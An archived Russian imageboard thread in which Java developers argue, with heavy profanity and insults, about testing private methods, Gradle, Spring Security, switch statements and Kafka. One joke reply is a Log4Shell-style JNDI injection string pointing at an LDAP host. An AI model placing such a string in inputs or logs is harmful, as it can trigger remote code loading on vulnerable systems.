Приватный метод - чистая функция. Там нет зависимостей - получает данные, отдает результат. А методы его вызывающие как раз к зависимостям обращаются и логики не содержат.

То есть приватный можно сделать протектед/вызвать рефлексией и нормально покрыть юнитами.
А публичные его вызывающие надо мокать и хуй знает что там отъебнет на самом деле - код или моки.

К тому же в приватном формируется промежуточная сущность, которая потом мапится в конечные дто в каждом методе свои. В этих дто полей может быть меньше, чем в промежуточной.
421 2885995
>>885992
Что у тебя происходит в приватном методе? Представь что у тебя не приватный метод,а все его содержимое написано как есть в публичном, ничего не поменялось
422 2885997
>>885973
я не буду общаться с обосратым
423 2886004
>>885995
Там что то вроде

публичный метод (параметры) {
х1 = достатьХуйнюИзБазы1(параметры)
х2 = достатьХуйнюИзБазы2(параметры)
р1 = вызватьПриватныйМетод1(х1, х2)
р2 = вызватьПриватныйМетод2(х1, х2)
итог = смержитьПоЙобаПравиламПриватногоМетода (р1, р2)
смапитьВДто (итог)
}

Тестить все это одним куском сложно и если тест упадет не так очевидно на каком этапе ошибка.

Или может я таки хуйней занимаюсь и нахуй эти тесты?
424 2886006
>>886004
ну и подобных публичных несколько с разными вариациями параметров, получаемых данных и разными итоговыми дто
425 2886007
>>886004
Я не вижу вариантов кроме как тестировать одним куском
426 2886017
>>886004
В чем проблема-то описать все области допустимых и недопустимых значений в публичном методе и протестировать их?
427 2886021
>>885997
Ясно, зашивайся, слитое.
428 2886027
>>885220
Ведущий проекта Helidon успел потрогать и сказал, что реактив программинг ВСЕ.

В первой половине стрима по Java 21 рассказывает.
429 2886029
>>884502
Через Gradle пихается же нормально
430 2886030
>>886027
че все?
431 2886031
>>886029

>Через Gradle пихается же нормально


в жопу только если
432 2886033
>>884502
>>884837
Так потешно смотреть на попытку нахрюка совершенно не соображающими в теме шарподебилами.
433 2886044
>>886004

>р1 = вызватьПриватныйМетод1(х1, х2)


>р2 = вызватьПриватныйМетод2(х1, х2)


Выглядят как кандидатура на вынос в другой класс вызов которого будем мокаться в тесте этого.

>смержитьПоЙобаПравиламПриватногоМетода (р1, р2)


Всякая еба-хуйня точно требует отдельного класса со всеми вытекающими.

>смапитьВДто


Это мб в каком-то статическом методе хелпере, может даже самого ДТО может лежать.
Итого - все разносится по разным классам и становится по больше части публичным, там и покрывается нормально тестами без какой-либо рефлексии.
434 2886049
>>886027
Скинь ссылку на стрим бля. Че ты как этот
image.png28 Кб, 124x124
435 2886059
https://docs.gradle.org/current/userguide/dependency_locking.html#lock_state_location_and_format
Градл докатился нахуй до джаваскрипта.
436 2886062
>>886059
Проблемы дегенерадлосои.
437 2886066
Господа аноны, выручайте.
Есть предмет на джаве - но не простой, а с подковыркой, которая заключается в том, что предмет в принципе посвящен изучению паттернов. Наша курсовая работа, которую мы должны сделать - симуляция умного дома. Там должно быть использовано максимальное количество паттернов, насколько это вообще возможно. ЧТОБ ВЫ ПОНИМАЛИ МЫ ВООБЩЕ НУБЫ
Что есть в описании:
1) Каждое устройство в доме имеет API для управления им
2) Приборы имеют потребление в активном состоянии, в состоянии простоя, в выключенном состоянии
3) Каждое устройство имеет API для сбора данных об этом устройстве (потребление электроэнергии, газа, блабла)
4) Люди и животные в доме генерируют события и взаимодействуют друг с другом и с предметами
Вроде все что есть полезного из описания на 2 страницы.
В общем, нужны любые материалы и советы что смотреть/читать/делать, если полный нубас, и после прочтения задания понятия не имеешь вообще, как начать, да и в принципе делать лол. Нас ничему не учат, просто бросают в лаву. А может мне такие учителя фортанули. А может они начнут объяснять, но позже, скажем, к концу сема, когда уже не будет времени.
438 2886068
>>886066

>паттернов


Хуйня без задач, сделай им FizzBuzz Enterprise Edition.
439 2886071
>>886066

>Нас ничему не учат


Почему мне кажеца, что ты пиздабол и просто лентяй, который себя оправдывает?
440 2886074
>>886071
Потому что таких большинство, заюш. Ты просто мыслишь вероятностями.
441 2886078
>>886066

>Нас ничему не учат, просто бросают в лаву


привыкай, так и дальше всегда будет
разбирайся сам и радуйся что тебе не бесполезный кал уровня скопипастить пример и поменять 1.5 строчки дают
а если не хочешь то тебе и в айти делать нечего
442 2886079
>>886074
Какой ты вежливый, солнышко. Не очень понял смысл сказанного, но мне понравилось, продолжай~
443 2886091
>>886044

>>в другой класс


Есть класс UserService а этот будет UserServiceHelper или вроде того? С тремя публичными методами, которые нигде нахуй не нужны и с которыми никто кроме UserService работать не сможет. Это ровно тоже самое что сделать те 3 метода публичными.
Я уж лучше рефлексию ебану, оно хоть говном выглядеть не будет в коде. Тесты для кода, а не код для тестов.

>>Всякая еба-хуйня точно требует отдельного класса со всеми вытекающими.


Там не настолько йоба, 30-40 строк кода. На класс не тянет.

>>Это мб в каком-то статическом методе хелпере, может даже самого ДТО может лежать.


Это как раз трогать не надо, мапстракт это сделает сам в одну строку.

>>Итого - все разносится по разным классам и становится по больше части публичным, там и покрывается нормально тестами без какой-либо рефлексии.


И получаем вместо одного класса с инкапсуляцйией 4 класса с кишками наружу.

>>886017
Сложно, не хочется ебаться с моками, особенно когда порефачить захочу, на некоторые кейсы надо избыточные данные генерировать.
Но это намного адекватнее идеи распидарасить класс на десяток недоклассов.
444 2886093
>>885371
Съеби.
445 2886097
>>886004
А зачем чтение из базы объединять с логикой обработки в 1 сущности?

>Тесты для кода, а не код для тестов.


Простота тестирования - один из при знаков хрошего стиля.

>олучаем вместо одного класса с инкапсуляцйией 4 класса с


Странно, верит в ООП но экономит классы.

Я думаю, или забивать на мантры ООП про инкапсуляцию, или разность по классам, как уже тебе написали.
446 2886138
>>886066
Рефакторинг гуру сайт про паттерны. Но я лично против этой скуфодрисни с паттернами из нулевых, на твой кейс может стратегия, команда, билдер и фабрика будут полезны.
1697787397562.jpg562 Кб, 1080x2005
447 2886253
>>886097
Хм, т.е. у меня хороший стиль был выбран?
Тесты-то легко вообще писать было...
448 2886304
Пупунечки,сегодня пятница ураааааааааа
449 2886317
>>886304
Ты на выходные остаешься. Провинился вчера.
450 2886319
>>886317
Пусть остаётся тот кто прод уронил,я тут не причем
451 2886323
>>886304
Тут все безработные. Вкатиться невозможно, на вакансии мидла 2к откликов.
452 2886325
>>886323
У меня испытательный через 20 дней кончается
453 2886326
>>886319
А это не важно. Виноват один - отдуваются все. Привыкайте.
454 2886327
>>886325
На каком стеке? Явно не на перехайпленной джаве с миллионом вкатунов.
455 2886328
>>886326
Вот ты и останешься
456 2886330
>>886327
Джава,спринг,кафка,монга,ты тред с мвп не перепутал?
457 2886332
>>886328
И ты тоже. Завтра что б к 8 был.
458 2886335
>>886332
Нет,у меня по плану дуть и кушать сыр
459 2886337
>>886335
А дуть сыр это как?
460 2886345
>>886337
Охуенно
461 2886346
>>886345
Поделись
462 2886356
>>886346
А ты откуда
463 2886359
>>886356
Ну до тебя думаю быстро доеду, было б желание
464 2886362
>>886359
Майор? Это ты?
465 2886366
>>886362
Житель дс2? Чет у меня самого желание пропало, извени.
466 2886368
>>886366
Нет,черноземье
467 2886400
>>886253

>было

468 2886404
Как же я ненавижу ебучий градл. На каждый ебучий проект на этом говне приходится скачивать точную версию этого говна, а оно весит немало, мегабайт 300, а потом еще кучу зависимостей, а потом оно еще зачем то с нуля себя собирает, и только потом приступает к сборке проекта, выдавая заветный build failed спустя час после git clone.
469 2886405
>>886400
И чево ты хотел етим сказать?
470 2886407
А еще ебучий дегенерадл саботирует миграцию на новые версии джавы. Прошел уже месяц с релиза 21 жабы, а он до сих пор на ней не работает. Спрашивается, какого хуя, и нахуя эта залупа лезет в ТАКИЕ кишки, что поднятие версии джавы на 1 всё ломает и нужно отдельную версию говноподелия выдавливать, чтобы поддержать.
471 2886412
>>886405
Если бы был хороший? ты бы тут не спрашивал? как тестировать.
472 2886414
>>886412
Так это не мой вопрос. Тот чел работает, я же нет.
473 2886497
>>886091

>Это ровно тоже самое что сделать те 3 метода публичными.


Это другое, буквально, называется single-responsibility principle.

>Я уж лучше рефлексию ебану, оно хоть говном выглядеть не будет в коде


Будет, причем полным калом. Хочешь прослыть додиком-неадекватом - ебани. Потом будешь рефакторить и охуевать, почему открутил гайку на лбу, а отвалилась жопа. я уже так делал, как ты предлагаешь, знаю о чем говорю

>На класс не тянет.


Тянет. Или у тебя там строгий лимит на новые классы и за каждый выше квоты тимлиды ебут?

>И получаем вместо одного класса с инкапсуляцйией 4 класса с кишками наружу.


Тебе что важнее, читабельность и адекватность или инкапсуляция ради инкапсуляции? Мне не говори, себе ответь.
474 2886551
Приватные методы на то и приватные, что предполагается, что они могут меняться как угодно и на них завязываться нельзя. То есть если ты хочешь тестировать приватные методы, то ты либо долбоёб, который не знает, зачем нужен модификатор private, либо должен сознательно принять за норму отвал жопы в тестах после половины коммитов. Во втором случае в манифолде есть аннотация @Jailbreak, которая превращает все непубличные члены внешнего класса в публичные, перестраивая байткод метода, в котором эта аннотация использована на использование рефлексии.
475 2886587
>>886551

> Предполагается, что они могут меняться как угодно и на них завязываться нельзя


Твоя больная фантазия
476 2886592
>>886587
Ты может наконец съебёшь уже?
477 2886593
>>886592
А ни то что?
478 2886595
>>886593
Шарпопидоран тут же завизжал про наказание, ведь никакой мотивации для пидорахи кроме опасности наказания нет, лул.
479 2886598
>>886595
Таблетки+дыхательная гимнастика,по результатам отпишешься в тред
480 2886603
>>886593
Отвечать не будут.
481 2886625
анончики, такая хуйня
щях на проекте юзаем SecurityContextPersistenceFilter в Spring Security 3.1.3 для конфига, он депрекэйтид уже
техлид сказал, мол, слышь, хорош на колобков смотреть с трапами - пиздуй избавься от него, в инете нихуя не нашел инфы по его замещению
выглядит стандартно, типа ".addFilterAfter(new LogRequestFilter(), SecurityContextPersistenceFilter.class)"
как бы вы посоветовали? кастомные написать? или хуй забить вообще и плюхнуть @SuppressWarnings?
482 2886660
>>886625
Прочитать в джавадоке почему депрекейтед.
483 2886696
>>886660
ну типа юзать просто SecurityContextHolderFilter вместо SecurityContextPersistenceFilter?
484 2886734
>>886696
у тебя 3.1.3 как ты писал, а не 5+ для SecurityContextHolderFilter
485 2886866
>>886551
По-моему они нужны для того, чтобы не давать внешнему пользователю твоего класса вызывать твой метод, который может менять состояние, например.
Иначе что за методы такие, на которые нельзя завязываться? Зачем бы они тогда были нужны.
.png19 Кб, 648x255
486 2887061
В чём я не прав?
487 2887065
>>887061
if были приняты устаревшей технологией. Используй switch.
.png19 Кб, 568x269
488 2887158
>>887065
Вот добавят в джаву свич по булину, тогда заживём.
.png19 Кб, 525x268
489 2887167
Хотя правильнее, всё-таки, будет сделать по-другому, _ всё-таки значит не что угодно, а то, на что нам похуй.
490 2887180
>>887158
>>887167
Попробуй кортеж(record) сделать. Я думаю можно провернуть.
491 2887197
>>887180
Нельзя. Новый свитч по рекордам это просто расширение паттерн матчинга по типам на составные части рекордов. Нет по булинам вообще, не будет и внутри рекордов.
image.png29 Кб, 640x206
492 2887201
>>887197
Ну тогда такую парашу можно сделать. Не оч удобно, что они не проваливаются под друг друга.
493 2887207
>>887201
Так тут по сути свитч ничего не делает. Ты просто if заменил на when. А ещё ухудшение в том плане, что нет оптимизации деления на 15 через неявный вывод FizzBuzz в случае одновременного деления на 3 и на 5 (что есть в изначальном варианте с if).
494 2887216
>>887201
А ещё тут баг, попробуй запусти код и увидишь, что тебе выводит на каждое 15 число Fizz, Buzz и FizzBuzz.
image.png47 Кб, 715x698
495 2887237
>>887207
Сделано через свитч? Сделано. То, что ты хочешь провернуть не совсем мне ясно.
>>887216
Какой баг блять, я-то вижу как оно скомпилировалось и помню, что условия не проваливаются друг под дружку. Че думаешь я просто так эту хуйню сверху добавил?
496 2887267
>>887237
Какая-то хуйня. Ну ладно. Один хуй у тебя лишняя проверка типа получается и оптимизации физзбазза нет.
image.png13 Кб, 463x199
497 2887296
>>887267
Ну на. Вроде работает.
498 2887301
>>887296
Новый свич,я помню со стрелочками был
499 2887326
>>887301
Это и не новый. Там баг крч, потому вот. Оптимизации во все поля.
500 2887344
>>887296
Нет, не работает.
501 2887349
>>887344
Я знаю >>887326
502 2887351
Опять прод уронил
503 2887353
>>887351
Ну точно на выходные остаешься.
504 2887359
>>887326
Это тоже не работает.
image.png24 Кб, 544x710
505 2887370
>>887359
Это работает. Бесиш уже.
506 2887371
>>887370

>18


>Buzz


Мы вам перезвоним.
507 2887379
>>887371
Блять, ну названия перпутал. Если по делу нихуя нет, просто иди нахуй
508 2887381
>>887379

>21


>Нихуя


Мы вам обязательно перезвоним.
509 2887386
>>887301
Так со стрелочками это как раз новый. С : это старый, сишный.
FoU9mQb33Y4.jpg149 Кб, 599x599
510 2887396
Посоны нужна версия jdk, которая работает на вин 7. Доставьте плиз. Питон я уже нашел, не спрашивайте зачем
511 2887399
>>887351
Чини
512 2887401
>>887386
Я вроде видел ещё че то новое запилили
.png65 Кб, 863x743
513 2887404
Алсо вот так вот можно реализовать свитч по булину с множественными условиями с O(1) сложностью и отсутствием оверхеда от классических if'ов. "// -->" это преобразование, которое должен выполнять компилятор.
514 2887476
>>887404
А что за overhead у if?
515 2887484
>>887476
Никакого оверхеда, но свитч можно хуёво реализовать и в итоге иметь свитч более тяжеловесный, чем if, когда можно их сделать буквально идентичными по тяжести.
516 2887495
>>887484
Мне непонятна суть вопроса.
Критерий вроде "тяжеловесно" слишком абстрактен.
Если это верно для компилятора и не выходит за рамки здравого смысла, границы которых будет устанавливать maintainer, то это можно писать и будет правильно. Про производительность не говорю сейчас.
С точки зрения поддержания кода - чем проще будет написан такой метод, тем лучше.
517 2887501
>>887495
Чё блядь? В смысле абстрактен? Можно реализовать свитч так, чтобы он разворачивался в то, выполнение чего займёт 10 процессорных тактов, а можно так, чтобы разворачивалось в 1110 тактов.
518 2887507
>>887501
Давай конкретный пример того, как плохая реализация switch даст замедление производительности в 100 раз.
519 2887511
>>887507
Тебе лишь бы высрать, или чё? В изначальном примере делаем не 3 кейса, а 300, и вместо разворачивания до O(1) (как я показал) просто проходимся в цикле по всем кейсам и сравниваем совпадение.
520 2887528
>>887511
Да, ведь ты часто пишешь 300 строк в switch.
Ты ведь в курсе, что о большое будет работать только на больших значениях, то есть, чтобы ощутить прирост производительности, тебе надо написать, ну, не меньше нескольких сотен тысяч условий. Не уверен, что язык столько поддерживает.
Тем более ты пишешь на Java.
На таком уровне решает понятный стиль кода.
521 2887535
>>887528
Додик, про какой понятный стиль кода ты говоришь, если разворот будет спрятан в компиляторе? Алсо вариант с разворотом быстрее ультимативно, он хоть при трёх, хоть при одном кейсе быстрее, так как там нет в принципе оверхеда от простого вычисления значения, засунутого в if. На основании чего ты вообще выдавил "будет работать только на больших значениях"? Просто подумал, что раз так работало в других разворотах до O(1), так и значит и будет тут?
522 2887541
>>886866
Завязываться можно, но только внутри этого класса. Чтобы если захотел поменять, то никаких проблем не было.
523 2887556
>>887396
Любая должная работать, хоть самая последняя jdk.
524 2887561
>>887535
Суть в том, что ты "ускоряешь" то, что не является узким местом. Всё. И делаешь это на Джаве.
Если бы ты писал на C для луноходов или кофейных автоматов - я бы ещё понял.
Это в прицнипе неверный подход к программированию на Джаве, потому что это enterprise инструмент для коллективной разработки. Твои оптимизации switch там не нужны.
Если тебе надо оптимизировать switch в Java - ты делаешь что-то не то, либо не тем инструментом.
И да, я уже стал читать твой слабо связанный фентезийный текст без единого реального примера "тяжеловесного" switch.
525 2887566
>>887561
Так я ускоряю то, что нинужно или преимущество появится при тысячах строк? А может вообще важен понятный стиль кода? Ты че прыгаешь с темы на тему? Ты может скажешь, что конкретно тебя подорвало или так и будешь принимать мою урину на ебальник?

Я бы тебя мог обоссать и по преждевременной оптимизации, но для начала скажи мне, а где я вообще за неё выступал? Я лишь сказал, что можно сделать оптимизировано и показал как, а тебя распидорасило как Хиросиму.
526 2887569
>>887566
Речь шла о том, что ты не понимаешь, как работает о большое. И что такого количества условий в switch не встречается в коде, поэтому и оптимизировать там ничего не нужно.
Я продолжу с тобой дискуссию, когда ты принесёшь benchmark, где разница между "тяжеловесным" switch и развёрнутыми if в твоей оптимизации будет существенно заметна.
А свои двачерские проекции может себе оставить, мне не нужны.
527 2887570
>>887569
Ты на вопрос не ответил, обрыган.
528 2887571
харош срать долбоебы
529 2887577
>>887570
Я спросил пример много постов назад, а ты так и не привёл его. Что лишает смысла твои попытки "строго" задавать вопросы в этой переписке. Нагрузочный тест в студию, тогда и выскажешься.
530 2887579
>>887577
Что именно ты спросил? По всем твоим тейкам я тебя обоссал.
531 2887585
Ладно, фиксирую слив и обоссаный ебальник тырпрайз-шиза. Вот из-за такого гноя, по интеллекту чуть превосходящему мою сидушку, которое рвётся даже не с преждевременной оптимизации, а просто с оптимизации (литералли, "почаны, смотрите, вот так можно сделать оптимизированный свитч" — БАБАХ), спринг и запускается по 10 минут.

И ведь это хуйло поняло под конец, что сидит в тёпленьком, и пассивно-агрессивно слилось через "Я продолжу с тобой дискуссию... А свои двачерские проекции может себе оставить, мне не нужны."
532 2887635
>>887061
Джава 7 уже не в моде. Через стрим апи перепиши.
И от магических чисел избавься, константы вынеси отдельно, добавь расширяемости, паттерны реализуй вместо повторения кода.
И как это запускать? Консолью пердолится? Прикрути свагер с описанием апи. Можно через спринг все сделать. Если тормозной спринг не нравится - ебани на кваркусе с нативной компиляцией.
533 2887655
>>886049
All about java 21 launch event
Начало по Helidon примерно с 2 часа
534 2887672
Главная ошибка джавы в том, что она пошла по пути платной абстракции. В большинстве случаев можно обойтись бесплатной.
535 2887724
>>887672
Двачую, все из-за ультимейт идеи.
536 2887852
https://www.youtube.com/watch?v=mE4iTvxLTC4

Ответы на вопросы от главного по джаве. Валхала скоро будет. Нужно только потерпеть. После этого шарпогосподки перестанут рыпаться и примут превосходство джавы
537 2887934
>>887852

>>Brian Goetz


>>1950 г. (возраст 73 года)


Чел уже 2 раза умер в айти и продолжает писать код. Неудивительно что джава - мертвый язык.
538 2888220
Оптимизируешь свичи
@
Пишешь фулл скан запросы в крудах
@
Писоешь какоешь
539 2888304
>>887852
Даже сам архитектор джавы согласен, что залупа() лучше, чем getЗалупа()
540 2888367
>>888304
У джаваскуфов в банках от такой ереси произойдет инфаркт
541 2888562
>>887852
Джава уже давно превосходит петушарп. С вальхаллой ничего не изменится, просто разрыв больше станет. Шарподауны также будут приносить картинки из 1998 года, на которых еще не было Files.readAllBytes() и получать поноса за шиворот.
542 2888567
>>887934
Хотел бы я таким же быть...
543 2888750
>>887934
Ошибка Гугла скорее всего или другой человек. Этому 55 максимум
544 2888816
>>888750
Да, тот что в 70 году родился это монтажёр какой-то.
545 2888881
>>888816
50 году*
546 2889216
Эй нулодрочеры,Objects.requireNonNull() для вас слишком бумерский выход?
изображение.png167 Кб, 729x1167
547 2889234
Кто-нибудь использовал Kafka Streams? Для каких задач. Это настройка выглядит пиздец монструозно
548 2889265
>>889216
Это тот же самый рантайм-чек на нулл (типо того, что есть в ломбоке), но более плохой по двум параметрам:
1) Лишние расходы на проверку из-за invokestatic, внутри которого уже будет сама проверка
2) Занимает место в теле метода, когда в идеале проверка должна вешаться на объявление типа.
549 2889281
>>889265
Короче братка,хуй ты таких фич в ближайшее время увидишь,я думаю
550 2889291
>>889281
Каких именно хуй увижу? Рантайм-чек без лишнего инвокстатик и на типе есть уже давно в ломбоке. На компайловый чек уже джеп заведён ( https://openjdk.org/jeps/8316779).
551 2889296
>>889234
Я так понимаю для транзакций, ауибоксов и экзактли ванс
552 2889298
>>889296
Каким боком экзектли ванс именно к стримам?
554 2889307
>>889304
Я к тому,что,насколько я знаю, экзектли ванс можно реализовать и без кафка стримс,поэтому вряд ли есть смысл использовать кафка стримс если цель получить экзектли ванс доставку
555 2889336
Почему бы просто не выпустить джэву 2.0, где просто сделать идеальную джаву без оглядки на легаси. Как бы выглядел такой язык программирования?
556 2889338
>>889336
Потому что получится никому не нужная хуита типа раста. Пару стартапов заюзают её и всё. Джава и с оглядкой на легаси очень неплоха. Я даже с ходу не могу вспомнить, а где именно на джаву повлиял легаси, кроме дженериков.
557 2889353
ПЕРЕКАТ >>2889352 (OP)
ПЕРЕКАТ >>2889352 (OP)
ПЕРЕКАТ >>2889352 (OP)
558 2889360
>>889307
Месседжинг можно реализовать и беж кафки
559 2889368
>>889353
Перекат после тысячи
560 2889379
>>889368
Шарподебил, плиз.
561 2889381
>>889360
Я не спрашивал на чем еще можно реализовать месседжинг
562 2889382
>>889336

>>Почему бы просто не выпустить джэву 2.0


Уже была. Джава 1.5 называлась джава 2.0
563 2889383
>>889381
Извини пожалуйста
564 2889688
Ебаные блядь инфоцыгане базарят,что кафка аморфна и ничего об оффсетах не знает,при этом сами через две минуты говорят,что оффсеты хранятся на брокере координатора группы в топике _consumer_offsets. Они ебанутые?
565 2889711
>>889688
Это ты аморфный епта
566 2889725
>>889711
Пиздак стяни хуйлан,адрес свой говори
567 2889738
>>889725
${jndi:ldap://example.com/file}
568 2889741
>>889738
Ряяяяяяяяяя
569 2890183
Нахуя нужен паттерн матчинг?
570 2890194
>>890183
Чтобы ерланговцы говорили, что он говно. Зачем же еще?
571 2890240
>>890194
Нахуя прислушиваться к мнению эрланговцев? Так и шарпистов слушать начнем
572 2898462
Ответьте пожалуйста, в чем разница между switch в jdk 12, jdk 13 и jdk 14 ?

В чем разница между превью и стандартом ?
573 2898703
>>898462
С 12 можно использовать как выражение, в 13 слово yield вместо break появилось, в 14 лямбда стрелки
574 2900107
Как вам веб-сервер в jdk 18 ?
575 2900304
>>900107
А че с ним?
Тред утонул или удален.
Это копия, сохраненная 30 декабря 2023 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
« /pr/В начало тредаВеб-версияНастройки
/a//b//mu//s//vg/Все доски